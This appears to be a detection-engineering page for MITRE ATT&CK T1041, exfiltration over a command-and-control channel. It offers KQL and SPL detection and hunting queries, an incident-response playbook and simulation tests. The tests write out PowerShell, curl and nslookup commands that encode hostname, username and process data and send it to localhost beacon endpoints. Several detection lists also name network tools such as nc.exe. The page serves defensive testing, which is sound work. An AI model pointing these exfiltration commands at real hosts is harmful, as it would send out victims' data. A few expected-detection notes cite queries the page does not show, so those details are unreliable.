T1041

Exfiltration Over C2 Channel

Exfiltration Last updated:

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. This technique is particularly challenging to detect because exfiltration traffic is indistinguishable from regular C2 beaconing — adversaries embed collected data inside HTTP POST bodies, DNS query labels, custom binary protocol frames, or other C2 protocol fields. Detection requires correlating large outbound data volumes, repeated connection patterns, and sensitive file access rather than inspecting payload content. Real-world actors observed using this technique include Scattered Spider (VMware vCenter via Teleport), OilRig/APT34 (OneDrive-based C2), and malware families PoetRAT, Machete, Shark, StrelaStealer, BeaverTail, SLOTHFULMEDIA, Sagerunex, and Bandook. The technique spans Windows, Linux, macOS, and ESXi platforms and commonly exploits encrypted C2 channels (HTTPS, DNS-over-HTTPS) to blend with legitimate traffic.

What is T1041 Exfiltration Over C2 Channel?

Exfiltration Over C2 Channel (T1041) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.

This page provides production-ready detection logic for Exfiltration Over C2 Channel, covering the data sources and telemetry it touches: Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, File: File Access, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Exfiltration
Technique
T1041 Exfiltration Over C2 Channel
Canonical reference
https://attack.mitre.org/techniques/T1041/
Microsoft Sentinel / Defender
kusto
let TimeWindow = 24h;
let MinBytesSent = 1048576; // 1 MB threshold — tune up for high-data environments
let MinConnectionCount = 20; // Repeated connections indicating active C2 with embedded data
let SuspiciousProcesses = dynamic([
    "powershell.exe", "pwsh.exe", "cmd.exe", "wscript.exe", "cscript.exe",
    "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe",
    "python.exe", "python3.exe", "ruby.exe", "perl.exe",
    "curl.exe", "wget.exe", "bitsadmin.exe", "nc.exe"
]);
// Step 1: Identify processes with high outbound byte volume or high connection frequency to public IPs
let HighVolumeOutbound = DeviceNetworkEvents
| where Timestamp > ago(TimeWindow)
| where ActionType == "ConnectionSuccess"
| where RemoteIPType == "Public"
| where InitiatingProcessFileName has_any (SuspiciousProcesses)
    or BytesSent > MinBytesSent
| summarize
    TotalBytesSent = sum(BytesSent),
    TotalBytesReceived = sum(BytesReceived),
    ConnectionCount = count(),
    UniqueRemoteIPs = dcount(RemoteIP),
    RemoteIPs = make_set(RemoteIP, 5),
    RemotePorts = make_set(RemotePort, 5),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
    by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessId, InitiatingProcessCommandLine
| where TotalBytesSent > MinBytesSent or ConnectionCount > MinConnectionCount;
// Step 2: Correlate with sensitive file reads (collect-then-exfil pattern)
let SensitiveFileReads = DeviceFileEvents
| where Timestamp > ago(TimeWindow)
| where ActionType == "FileRead"
| where FileName has_any (dynamic([".doc", ".docx", ".pdf", ".xlsx", ".xls", ".csv",
    ".zip", ".7z", ".tar", ".gz", ".kdbx", ".pfx", ".pem", ".key",
    ".db", ".sqlite", ".rdp", ".config", ".conf"]))
| summarize FilesRead = count(), SensitiveFileNames = make_set(FileName, 10)
    by DeviceName, InitiatingProcessId;
// Step 3: Join and score
HighVolumeOutbound
| join kind=leftouter SensitiveFileReads on DeviceName, InitiatingProcessId
| extend ExfilRatio = iff(TotalBytesReceived > 0,
    round(todouble(TotalBytesSent) / todouble(TotalBytesReceived), 2), 999.0)
| extend IsHighVolume = TotalBytesSent > MinBytesSent
| extend IsHighFrequency = ConnectionCount > MinConnectionCount
| extend IsSingleDestination = UniqueRemoteIPs == 1
| extend HasSensitiveFileAccess = isnotnull(FilesRead) and FilesRead > 0
| extend HighExfilRatio = ExfilRatio > 5.0
| extend ExfilScore = tolong(IsHighVolume) + tolong(IsHighFrequency)
    + tolong(IsSingleDestination) + tolong(HasSensitiveFileAccess) + tolong(HighExfilRatio)
| where ExfilScore >= 2
| project
    Timestamp = LastSeen,
    DeviceName,
    AccountName,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    TotalBytesSent,
    TotalBytesReceived,
    ExfilRatio,
    ConnectionCount,
    UniqueRemoteIPs,
    RemoteIPs,
    RemotePorts,
    FilesRead,
    SensitiveFileNames,
    IsHighVolume,
    IsHighFrequency,
    IsSingleDestination,
    HasSensitiveFileAccess,
    ExfilScore
| sort by ExfilScore desc, TotalBytesSent desc

Detects data exfiltration over existing C2 channels by correlating high outbound data volumes, repeated connection frequency to public IPs, and sensitive file access from suspicious processes. Uses DeviceNetworkEvents to compute per-process outbound byte totals and connection counts, then joins with DeviceFileEvents to identify processes that both read sensitive files and make outbound connections (the collect-then-exfil pattern). A composite ExfilScore of 2 or higher triggers the alert, with higher scores indicating stronger exfiltration signals. BytesSent data may be sparse in some environments — if BytesSent is consistently 0, rely primarily on the ConnectionCount and file access correlation arms of the query.

high severity medium confidence

Data Sources

Network Traffic: Network Connection Creation Network Traffic: Network Traffic Flow File: File Access Microsoft Defender for Endpoint

Required Tables

DeviceNetworkEvents DeviceFileEvents

False Positives

  • Backup agents (Veeam, Backup Exec, Azure Backup) performing scheduled backups generate large outbound transfers to cloud storage endpoints
  • Log shippers and telemetry agents (Splunk Universal Forwarder, Elastic Agent, Datadog) make frequent high-volume connections to their ingestion endpoints
  • Cloud sync clients (OneDrive, Dropbox, Google Drive) continuously upload large volumes of data using common scripting engines on managed endpoints
  • Software update and patch management clients (SCCM, Intune, WSUS) sending device inventory telemetry over HTTPS to Microsoft infrastructure
  • Security scanners and vulnerability assessment tools (Qualys, Nessus agent) making high-frequency outbound connections during scan cycles

Sigma rule & cross-platform mapping

The detection logic for Exfiltration Over C2 Channel (T1041) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1PowerShell HTTP POST Exfiltration Over Simulated C2 Channel

    Expected signal: Sysmon Event ID 1: Process Create — powershell.exe with CommandLine containing Invoke-WebRequest, -Method POST, and http://127.0.0.1:8080/beacon. Sysmon Event ID 3: Network Connection — powershell.exe connecting to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 capturing the full script including the base64-encoded data construction. DeviceNetworkEvents in MDE: ConnectionSuccess or ConnectionFailed (depending on listener) with InitiatingProcessFileName=powershell.exe, RemoteIP=127.0.0.1, RemotePort=8080.

  2. Test 2curl Multi-Connection Data Exfiltration Beaconing Pattern

    Expected signal: 25x Sysmon Event ID 3: Network Connection events with Image=curl.exe (or full path), DestinationIp=127.0.0.1, DestinationPort=8080, Initiated=true. DeviceNetworkEvents: 25 ConnectionSuccess/ConnectionFailed records for curl.exe to 127.0.0.1:8080. The aggregate ConnectionCount of 25 crosses the MinConnectionCount=20 threshold in the KQL detection query. SPL ExfilScore increases as IsHighFrequency becomes 1 once count exceeds 20.

  3. Test 3DNS Data Exfiltration via Encoded Subdomain Labels

    Expected signal: Sysmon Event ID 22 (DNS Query): 10 DNS query events with QueryName containing 40-55 character first labels encoding the Base64 data, initiated by nslookup.exe. The DNS hunting query triggers on LongestLabel > 40 and QueryCount > 5 from the same process. Windows DNS Client Event Log may also record the queries. The queries will fail to resolve (no listener on 127.0.0.1:53) but the Sysmon Event ID 22 fires on the query attempt regardless.

  4. Test 4Linux curl Data Exfiltration via HTTP POST

    Expected signal: auditd: SYSCALL records for execve (curl), connect() calls to 127.0.0.1:8080, and read() on /etc/hostname and /proc. Sysmon for Linux Event ID 3: Network Connection events for curl process. Linux audit log (if auditd configured with network rules): socket()/connect() syscalls from curl with destination 127.0.0.1:8080. CommonSecurityLog or Syslog in Sentinel if auditd logs are forwarded: 15 connection records with consistent user-agent string indicating automated beaconing. The deceptive Windows user-agent string on a Linux process is itself anomalous.


Response Playbook

Triage

  1. Identify the process responsible — examine InitiatingProcessFileName and InitiatingProcessCommandLine. Is this a known process or a renamed legitimate binary (compare hash against known-good)? Check parent process to determine how it was spawned.
  2. Quantify data volume — if BytesSent is available in DeviceNetworkEvents, calculate total megabytes sent to the destination IP over the past 24-72 hours. Volume > 100MB is critical. Check when this activity started vs. when the process was first seen on the endpoint.
  3. Profile the destination IP — run the C2 IP through threat intelligence (VirusTotal, Shodan, AbuseIPDB, your TIP). Identify the hosting provider and registrar. New domains (< 30 days) with privacy-protected WHOIS and hosting on bulletproof providers are high-severity indicators.
  4. Check process hash — submit the hash of the connecting process to your TIP or VirusTotal. If legitimate (e.g., powershell.exe), verify the file is the authentic Microsoft-signed binary using: Get-AuthenticodeSignature 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
  5. Reconstruct data collected — review DeviceFileEvents for files read by the process in the 1-2 hours before network activity began. Look for bulk reads of document files, database files, or credential stores. Check if staging archives (zip, 7z, tar) were created.
  6. Identify lateral movement — check if the same C2 IP appears in network events from other endpoints (possible worm propagation or multi-host compromise). Query: DeviceNetworkEvents | where RemoteIP == '<C2_IP>' | summarize Hosts=dcount(DeviceName) by RemoteIP
  7. Check for persistence — if the process was spawned by a scheduled task, service, or registry run key, the actor likely has durable access. Check Sysmon Event IDs 12/13 for registry modifications and Event ID 7045 for new service creation around the same timestamp.

Containment

  1. Immediately isolate the affected endpoint via EDR network isolation or VLAN change — this severs the active C2 channel and stops ongoing exfiltration without destroying volatile memory state.
  2. Block the C2 IP and associated domains at the perimeter firewall, proxy, and DNS resolver (sinkhole the domain). Verify blocking is effective by checking firewall deny logs — do not rely solely on endpoint-level blocking.
  3. If a user account was used by the malicious process, disable the account in Active Directory and revoke all active sessions including cloud SSO tokens (Entra ID: Revoke Sign-in Sessions). If it was a service account, rotate its credentials and review all services using it.
  4. Capture a memory dump of the compromised process before termination: procdump.exe -ma <PID> C:\evidence\malware_<PID>.dmp — this preserves decrypted C2 communications, encryption keys, and injected shellcode for forensic analysis.
  5. Pull a full packet capture from the endpoint's last 30 minutes if your EDR or network tap retains pcap — encrypted C2 traffic metadata (packet timing, size patterns, TLS fingerprint via JA3/JA3S) provides attribution data even without decryption.
  6. If sensitive data was confirmed exfiltrated (PII, credentials, financials), initiate your data breach notification process per regulatory requirements (GDPR 72-hour notification, state breach laws) and notify legal/privacy counsel immediately.

Evidence Collection

  1. Process memory dump — capture before killing: procdump.exe -ma <PID> <output_path>. Contains decrypted C2 channel content, staging buffers, and embedded strings (C2 URLs, encryption keys, operator notes).
  2. Network packet capture — retrieve any retained pcap from endpoint security tools, network taps, or cloud flow logs. Even without decryption, TLS metadata (JA3/JA3S fingerprints, SNI, certificate details) enables attribution.
  3. Sysmon Event ID 3 logs — full history of outbound connections from the process including timestamps, destination IPs, destination ports, and protocols. Export from SIEM for the full activity window.
  4. DeviceFileEvents/Sysmon Event ID 11 — files created by the process (staging archives, output files). Recover these from the endpoint before they are deleted. Check recycle bin and temp directories.
  5. DeviceFileEvents reads — inventory all files read by the malicious process to determine what was collected and potentially exfiltrated. Cross-reference with sensitive data inventory.
  6. PowerShell ScriptBlock Logs (Event ID 4104) — if PowerShell was involved, these capture the full deobfuscated script execution including C2 URLs, collection commands, and encoding routines.
  7. Prefetch files — C:\Windows\Prefetch\ contains evidence of process execution even after file deletion, with timestamps and loaded DLL names. Collect all .pf files for the malicious process name.
  8. Registry autoruns — export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and scheduled tasks (schtasks /query /fo CSV /v) to identify persistence mechanisms.
  9. Browser/application credential stores — if the process accessed credential databases (Chrome Login Data, Firefox logins.json, KeePass *.kdbx), treat those credentials as compromised and rotate immediately.
  10. NetFlow/firewall logs — pull complete flow records for the C2 IP from your network perimeter for the prior 30 days to establish the full activity timeline and quantify total exfiltrated data volume.

Escalation Criteria

  • ! Data volume exceeds 10 MB sent to an unrecognized external IP — at this scale, meaningful file contents have been transferred regardless of what the files were.
  • ! Sensitive data confirmed in file access logs — process read credential stores (*.kdbx, SAM, NTDS.dit), PII-containing databases, financial records, or intellectual property (CAD files, source code).
  • ! C2 IP matches known threat actor infrastructure in threat intelligence (attributed to a specific APT group or criminal campaign) — this elevates a potential incident to a confirmed intrusion.
  • ! Evidence of lateral movement — the C2 connection originates from a server, domain controller, or other high-value target, or the same C2 IP appears across multiple endpoints.
  • ! Process is running as SYSTEM, a domain admin, or a service account with broad network access — elevated privilege significantly increases the blast radius of the compromise.
  • ! Exfiltration continues after initial detection and alerting — a persistent actor who re-establishes C2 after an alert suggests an advanced operator who has multiple persistence mechanisms.
  • ! Evidence of credential exfiltration (LSA secrets, DPAPI blobs, browser credentials accessed) — treat all passwords and secrets accessible from the compromised account as fully compromised.

Investigation Guide

Forensic Artifacts

  • > Windows Event Log: Security Event ID 5156 (Windows Filtering Platform permitted connection) — records each outbound connection with process ID, remote IP, and port. Correlate with process creation events to attribute by process name.
  • > Sysmon Event ID 3 (Network Connection) — detailed outbound connection records including process image path, command line, user, destination IP/port, and connection timestamp.
  • > Sysmon Event ID 11 (File Create) — staging archives created by the exfiltrating process. Check %TEMP%, %APPDATA%, and C:\ProgramData\ for recently created zip/7z/tar files with anomalous names.
  • > Browser/TLS artifacts — JA3/JA3S TLS fingerprints from network pcap identify C2 framework (Cobalt Strike, Metasploit, Sliver have characteristic TLS fingerprints). Extract via Zeek, Suricata, or NetworkMiner.
  • > Process memory strings — after dumping process memory with procdump, run: strings -e l <dump.dmp> | grep -E '(http|https|ftp|dns)://' to extract hardcoded C2 URLs.
  • > Shimcache/AppCompatCache (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache) — records execution of processes even after they are deleted. Useful for attributing malware that self-deletes.
  • > Prefetch (C:\Windows\Prefetch\) — execution evidence for malicious process with timestamps and loaded DLLs. Parse with Eric Zimmerman's PECmd or Autopsy.
  • > DNS cache — ipconfig /displaydns on the endpoint captures recently resolved domain names associated with C2 infrastructure. Run immediately before isolation to capture before cache expires.
  • > PowerShell ConsoleHost_history.txt — %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt contains unencoded command history if PowerShell was used for collection or C2.
  • > Windows Security Event ID 4688 (Process Creation with command-line auditing) — corroborates Sysmon process events with an additional independent log source. Check for command line arguments revealing C2 URLs or collection commands.

Tuning Guidance

Begin by inventorying all legitimate high-volume outbound processes in your environment. Common sources of false positives are backup agents (Veeam, Azure Backup), log shippers (Splunk UF, Elastic Agent, Datadog), cloud sync clients (OneDrive, Dropbox), and patch management clients (SCCM, Tanium). For each, create exclusions based on specific process hashes (not just names — malware commonly uses renamed legitimate binaries) AND known destination IP ranges (use threat intel-verified cloud provider IP ranges from Microsoft, Google, Amazon, etc.). Never exclude an entire process name globally — always pair it with a destination IP or CIDR range. Tune the BytesSent threshold (MinBytesSent) upward in high-data-volume environments — start at 10MB if 1MB generates too many false positives from legitimate backup traffic. For the connection count threshold (MinConnectionCount), establish a baseline of your most frequent legitimate connecting processes over 30 days, then set the threshold at the 99th percentile + 20%. For DNS hunting queries, build an allowlist of known-good long-subdomain patterns (CDN URLs, certain AWS/Azure service URLs have legitimate long labels). Consider deploying Zeek on your network perimeter and enabling the DNS analyzer to get baseline data on subdomain label lengths before tuning the DNS hunting query threshold. JA3/JA3S TLS fingerprint allowlisting is highly effective at reducing false positives for known C2 framework detection when combined with this behavioral detection.


Hunting Queries

Hunt for DNS-based C2 exfiltration by identifying DNS queries with anomalously long subdomain labels. Adversaries encode exfiltrated data (Base32, Base64, hex) into DNS subdomain labels to tunnel data through DNS channels. Legitimate domains rarely have first labels exceeding 40 characters — queries of this length strongly suggest encoded data transmission. High volumes of unique long-subdomain queries to the same apex domain indicate active DNS tunneling.

Hunting — KQL
kql
// Hunt for DNS-based C2 exfiltration: unusually long DNS query labels encoding exfiltrated data
DeviceDnsEvents
| where Timestamp > ago(7d)
| where QueryType in ("A", "TXT", "AAAA", "CNAME", "MX")
| extend LabelCount = countof(QueryName, ".")
| extend LongestLabel = max_of(
    strlen(split(QueryName, ".")[0]),
    strlen(split(QueryName, ".")[1]),
    strlen(split(QueryName, ".")[2]))
| extend TotalQueryLength = strlen(QueryName)
// Suspicious: very long first label (encoded data), or total query > 60 chars
| where LongestLabel > 40 or TotalQueryLength > 60
| summarize
    QueryCount = count(),
    UniqueSubdomains = dcount(QueryName),
    MaxLabelLen = max(LongestLabel),
    MaxQueryLen = max(TotalQueryLength),
    SampleQueries = make_set(QueryName, 5),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, AccountName,
       BaseDomain = strcat(split(QueryName, ".", -2)[0], ".", split(QueryName, ".", -1)[0])
| where QueryCount > 5 or UniqueSubdomains > 10
| sort by QueryCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval QueryLength = len(QueryName)
| eval LabelParts = split(QueryName, ".")
| eval FirstLabelLen = len(mvindex(LabelParts, 0))
| where QueryLength > 60 OR FirstLabelLen > 40
| rex field=QueryName mode=sed "s/^[^.]+\.(.+)$/\1/" 
| rename COMMENT as "BaseDomain is everything after first label"
| stats
    count as QueryCount,
    dc(QueryName) as UniqueSubdomains,
    max(QueryLength) as MaxQueryLength,
    max(FirstLabelLen) as MaxLabelLength,
    values(QueryName) as SampleQueries
    by host, User, Image, QueryName
| where QueryCount > 5 OR MaxLabelLength > 50
| sort - QueryCount

Hunt for processes or source IPs with extreme upload-to-download ratios. Legitimate web browsing, software updates, and most business communications are download-heavy. A process sending 10x more data than it receives is strongly anomalous and characteristic of data exfiltration over C2. This query detects the pattern regardless of which specific process is involved, catching custom malware or living-off-the-land exfiltration tools that evade process-name filters.

Hunting — KQL
kql
// Hunt for processes with extreme upload-to-download ratios — a strong signal of data exfiltration
// Normal browsing/communication is download-heavy; uploading far more than downloading is abnormal
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| where BytesSent > 0
| summarize
    TotalBytesSent = sum(BytesSent),
    TotalBytesReceived = sum(BytesReceived),
    ConnectionCount = count(),
    UniqueDestinations = dcount(RemoteIP),
    Destinations = make_set(RemoteIP, 5)
    by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where TotalBytesSent > 5242880 // > 5MB sent — filter out trivial traffic
| extend UploadRatio = iff(TotalBytesReceived > 0,
    round(todouble(TotalBytesSent) / todouble(TotalBytesReceived), 2), 9999.0)
| where UploadRatio > 10 // Uploading 10x more than downloading is strongly anomalous
| extend IsScriptEngine = InitiatingProcessFileName has_any (dynamic(
    ["powershell.exe", "pwsh.exe", "cmd.exe", "python.exe", "python3.exe",
     "wscript.exe", "cscript.exe", "mshta.exe"]))
| sort by UploadRatio desc, TotalBytesSent desc
Hunting — SPL
spl
index=proxy OR index=netflow sourcetype=stream:http http_method=POST
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*" OR dest_ip="127.*")
| stats
    sum(bytes_out) as TotalBytesSent,
    sum(bytes_in) as TotalBytesReceived,
    count as RequestCount,
    dc(dest_ip) as UniqueDestinations,
    values(dest_ip) as DestinationIPs,
    values(http_user_agent) as UserAgents
    by src_ip, cs_host
| where TotalBytesSent > 5242880
| eval UploadRatio = round(TotalBytesSent / (TotalBytesReceived + 1), 2)
| where UploadRatio > 10
| eval TotalBytesSentMB = round(TotalBytesSent / 1048576, 2)
| table _time, src_ip, cs_host, DestinationIPs, TotalBytesSentMB, TotalBytesReceived, UploadRatio, RequestCount, UserAgents
| sort - UploadRatio

Hunt for the classic collect-then-exfil attack pattern: archiving tools (7zip, WinRAR, tar) running immediately before large outbound network connections from the same device and account. Legitimate archiving is rarely followed within one hour by significant external uploads. This hunting query catches adversaries who manually stage and compress data before transmitting it through their C2 channel, a pattern observed in many APT intrusions including those using PoetRAT, Machete, and similar RATs.

Hunting — KQL
kql
// Hunt for the collect-then-exfil pattern: archiving tools followed by network activity in same time window
let TimeWindow = 7d;
let LookbackWindow = 1h;
let ArchivingTools = dynamic(["7z.exe", "7za.exe", "7zr.exe", "zip.exe",
    "rar.exe", "winrar.exe", "winzip32.exe", "tar.exe"]);
// Find archiving activity
let ArchivingEvents = DeviceProcessEvents
| where Timestamp > ago(TimeWindow)
| where FileName has_any (ArchivingTools)
| project ArchivingTime = Timestamp, DeviceName, AccountName,
    ArchivingProcess = FileName, ArchivingCommandLine = ProcessCommandLine;
// Find large outbound network connections in the hour after archiving
let PostArchivingNetwork = DeviceNetworkEvents
| where Timestamp > ago(TimeWindow)
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| where BytesSent > 524288 // 512 KB minimum to filter trivial connections
| project NetworkTime = Timestamp, DeviceName, AccountName,
    RemoteIP, BytesSent, NetworkProcess = InitiatingProcessFileName,
    NetworkCommandLine = InitiatingProcessCommandLine;
// Join: same device, same account, network activity within 1 hour after archiving
ArchivingEvents
| join kind=inner PostArchivingNetwork on DeviceName, AccountName
| where NetworkTime between (ArchivingTime .. (ArchivingTime + LookbackWindow))
| project
    DeviceName, AccountName,
    ArchivingTime, ArchivingProcess, ArchivingCommandLine,
    NetworkTime, RemoteIP, BytesSent, NetworkProcess, NetworkCommandLine,
    DelayMinutes = round((toreal(NetworkTime - ArchivingTime)) / 60.0, 1)
| sort by ArchivingTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
((EventCode=1 (Image="*\\7z.exe" OR Image="*\\7za.exe" OR Image="*\\rar.exe"
    OR Image="*\\winrar.exe" OR Image="*\\zip.exe" OR Image="*\\tar.exe"))
    OR
 (EventCode=3 Initiated="true"
    NOT (DestinationIp="10.*" OR DestinationIp="192.168.*"
        OR DestinationIp="172.16.*" OR DestinationIp="127.*")))
| bucket _time span=1h
| eval EventType = case(
    EventCode=="1", "ARCHIVE",
    EventCode=="3", "NETWORK",
    "OTHER")
| stats
    values(eval(if(EventType="ARCHIVE", Image, null()))) as ArchivingTools,
    values(eval(if(EventType="NETWORK", DestinationIp, null()))) as RemoteIPs,
    values(eval(if(EventType="ARCHIVE", CommandLine, null()))) as ArchivingCmdLines,
    dc(EventType) as EventTypeCount,
    count as TotalEvents
    by host, User, _time
| where EventTypeCount == 2
| where isnotnull(ArchivingTools) AND isnotnull(RemoteIPs)
| table _time, host, User, ArchivingTools, ArchivingCmdLines, RemoteIPs
| sort - _time

Atomic Red Team Tests

Test 1 PowerShell HTTP POST Exfiltration Over Simulated C2 Channel
windows

Simulates data exfiltration over an HTTP C2 channel using PowerShell's Invoke-WebRequest. Collects system process information, Base64-encodes it (as malware commonly does to encode collected data), and POSTs it to a local listener. This replicates the exact pattern used by PoetRAT, SLOTHFULMEDIA, and other malware that exfiltrate via HTTP POST using the same channel as C2 beacon traffic. Requires a netcat or Python listener on port 8080 to receive the data (or run without listener — the connection attempt itself generates the required telemetry).

Command

powershell
$CollectedData = Get-Process | Select-Object -First 10 Name, Id, CPU, WorkingSet | ConvertTo-Json -Compress
$EncodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($CollectedData))
$Body = "{`"session`":`"abc123`",`"data`":`"$EncodedData`"}"
try { Invoke-WebRequest -Uri 'http://127.0.0.1:8080/beacon' -Method POST -Body $Body -ContentType 'application/json' -TimeoutSec 3 -ErrorAction SilentlyContinue } catch {}
Write-Host 'Atomic test T1041 complete - check Sysmon Event ID 1 and 3 for telemetry'

Expected Telemetry

Sysmon Event ID 1: Process Create — powershell.exe with CommandLine containing Invoke-WebRequest, -Method POST, and http://127.0.0.1:8080/beacon. Sysmon Event ID 3: Network Connection — powershell.exe connecting to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 capturing the full script including the base64-encoded data construction. DeviceNetworkEvents in MDE: ConnectionSuccess or ConnectionFailed (depending on listener) with InitiatingProcessFileName=powershell.exe, RemoteIP=127.0.0.1, RemotePort=8080.

Expected Detection

KQL: ExfilScore triggers on IsHighFrequency if run repeatedly, and HasSensitiveFileAccess if process reads files. SPL: ConnectionCount increases toward threshold with each repeated execution. The Invoke-WebRequest pattern also triggers T1059.001 PowerShell detection rules. A dedicated C2 exfil alert fires when BytesSent accumulates above threshold.

Test 2 curl Multi-Connection Data Exfiltration Beaconing Pattern
windows

Simulates a C2 agent that exfiltrates data in chunks via repeated HTTP POST requests using curl — matching the behavior of malware families like Shark and OutSteel that upload files over HTTP C2 channels. Runs 25 connection attempts to localhost to cross the MinConnectionCount threshold in the detection query. Each request includes a small encoded data payload simulating chunked file exfiltration.

Command

powershell
for ($i = 1; $i -le 25; $i++) { $chunk = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("chunk_${i}_" + ('X' * 100))); try { curl.exe -s -X POST -H 'Content-Type: application/octet-stream' -d $chunk http://127.0.0.1:8080/upload --connect-timeout 1 2>$null } catch {} ; Start-Sleep -Milliseconds 200 }
Write-Host 'Beaconing simulation complete: 25 connection attempts generated'

Expected Telemetry

25x Sysmon Event ID 3: Network Connection events with Image=curl.exe (or full path), DestinationIp=127.0.0.1, DestinationPort=8080, Initiated=true. DeviceNetworkEvents: 25 ConnectionSuccess/ConnectionFailed records for curl.exe to 127.0.0.1:8080. The aggregate ConnectionCount of 25 crosses the MinConnectionCount=20 threshold in the KQL detection query. SPL ExfilScore increases as IsHighFrequency becomes 1 once count exceeds 20.

Expected Detection

SPL: ExfilScore >= 2 triggers when IsHighFrequency=1 AND IsSingleDestination=1 (both 127.0.0.1 connections). KQL: HighVolumeOutbound fires on ConnectionCount > MinConnectionCount (20). The beaconing pattern hunting query identifies the regular ~200ms interval as IsRegularBeacon=1.

Test 3 DNS Data Exfiltration via Encoded Subdomain Labels
windows

Simulates DNS-based C2 data exfiltration by encoding sensitive data (hostname and username) into DNS subdomain labels and issuing DNS queries. This technique is used by DnsSystem malware and other DNS C2 tools that tunnel exfiltrated data through DNS queries to avoid triggering HTTP-based detections. Each query encodes a chunk of data in the subdomain, which the adversary's authoritative DNS server receives and reassembles. Uses nslookup against localhost to avoid actual external DNS resolution.

Command

powershell
$SensitiveData = "$env:COMPUTERNAME-$env:USERNAME-$env:USERDOMAIN"
$Encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($SensitiveData)).Replace('=','').Replace('+','a').Replace('/','b').Substring(0, [Math]::Min(50, $Encoded.Length))
for ($i = 0; $i -lt 10; $i++) { $label = "${Encoded}${i}chunk"; nslookup "$label.df00tech-test.internal" 127.0.0.1 2>$null }
Write-Host 'DNS exfil simulation complete: 10 long-subdomain queries generated'

Expected Telemetry

Sysmon Event ID 22 (DNS Query): 10 DNS query events with QueryName containing 40-55 character first labels encoding the Base64 data, initiated by nslookup.exe. The DNS hunting query triggers on LongestLabel > 40 and QueryCount > 5 from the same process. Windows DNS Client Event Log may also record the queries. The queries will fail to resolve (no listener on 127.0.0.1:53) but the Sysmon Event ID 22 fires on the query attempt regardless.

Expected Detection

KQL DNS hunting query: LongestLabel > 40 triggers, QueryCount = 10 > threshold of 5. UniqueSubdomains = 10 indicates encoding variation consistent with chunked data. SPL DNS hunting query: QueryLength > 60 triggers on the total query length, FirstLabelLen > 40 on the encoded data label. Alert confidence is medium given single-host testing environment.

Test 4 Linux curl Data Exfiltration via HTTP POST
linux

Simulates data exfiltration over a C2 channel on Linux/macOS using curl to POST system information (hostname, running processes, network configuration) to a localhost endpoint. This replicates the behavior observed in Linux-targeting malware that uses HTTP C2 channels for both command receipt and data exfiltration, including Sagerunex and custom implants used by Chinese APT groups. Run this test on Linux or macOS endpoints with Sysmon for Linux or auditd configured.

Command

bash
HOSTNAME=$(hostname)
USER_INFO=$(id)
NET_INFO=$(ip addr 2>/dev/null || ifconfig 2>/dev/null | head -30)
PS_INFO=$(ps aux --sort=-%cpu | head -20 2>/dev/null || ps aux | head -20)
DATA=$(echo "{\"host\":\"$HOSTNAME\",\"user\":\"$USER_INFO\",\"procs\":\"$(echo $PS_INFO | base64 -w0)\"}")
for i in $(seq 1 15); do
  curl -s -X POST \
    -H 'Content-Type: application/json' \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
    --connect-timeout 2 \
    -d "$DATA" \
    'http://127.0.0.1:8080/c2/checkin' 2>/dev/null || true
  sleep 0.5
done
echo 'Linux exfil simulation complete'

Expected Telemetry

auditd: SYSCALL records for execve (curl), connect() calls to 127.0.0.1:8080, and read() on /etc/hostname and /proc. Sysmon for Linux Event ID 3: Network Connection events for curl process. Linux audit log (if auditd configured with network rules): socket()/connect() syscalls from curl with destination 127.0.0.1:8080. CommonSecurityLog or Syslog in Sentinel if auditd logs are forwarded: 15 connection records with consistent user-agent string indicating automated beaconing. The deceptive Windows user-agent string on a Linux process is itself anomalous.

Expected Detection

Connection frequency of 15 connections with 0.5 second intervals triggers IsRegularBeacon (AvgBeaconIntervalSec ~0.5) and IsHighFrequency in SPL. The mismatched User-Agent (Windows browser string from Linux curl process) is detectable in proxy logs and is a strong indicator of C2 traffic disguise. KQL DeviceNetworkEvents connection count exceeds MinConnectionCount threshold.

Related Detections

Detection Variants (1)

